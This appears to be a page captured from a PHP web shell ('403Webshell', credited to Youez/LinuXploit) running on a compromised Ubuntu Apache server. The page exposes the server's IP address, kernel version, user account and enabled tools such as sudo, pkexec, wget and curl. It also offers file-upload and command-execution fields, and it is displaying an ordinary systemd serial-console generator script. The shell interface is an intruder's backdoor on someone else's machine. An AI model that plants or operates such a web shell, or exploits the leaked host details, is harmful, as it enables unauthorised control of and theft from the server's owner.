403Webshell
Server IP : 94.16.115.136  /  Your IP : 216.73.217.106
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux rogerrabbit 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : bkillingseder ( 1001)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core22/2411/lib/systemd/system-generators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/2411/lib/systemd/system-generators/serial-console-generator
#!/bin/sh

set -eux

NORMAL_DIR="${1}"
EARLY_DIR="${2}"
LATE_DIR="${3}"

for tty in $(cat /sys/class/tty/console/active); do
    case "${tty}" in
      tty[0-9]*)
      ;;
      *)
        mkdir -p "${NORMAL_DIR}/getty.target.wants"
        ln -sf /usr/lib/systemd/system/serial-console-conf@.service "${NORMAL_DIR}/getty.target.wants/serial-console-conf@${tty}.service"

      ;;
    esac
done

Youez - 2016 - github.com/yon3zu
LinuXploit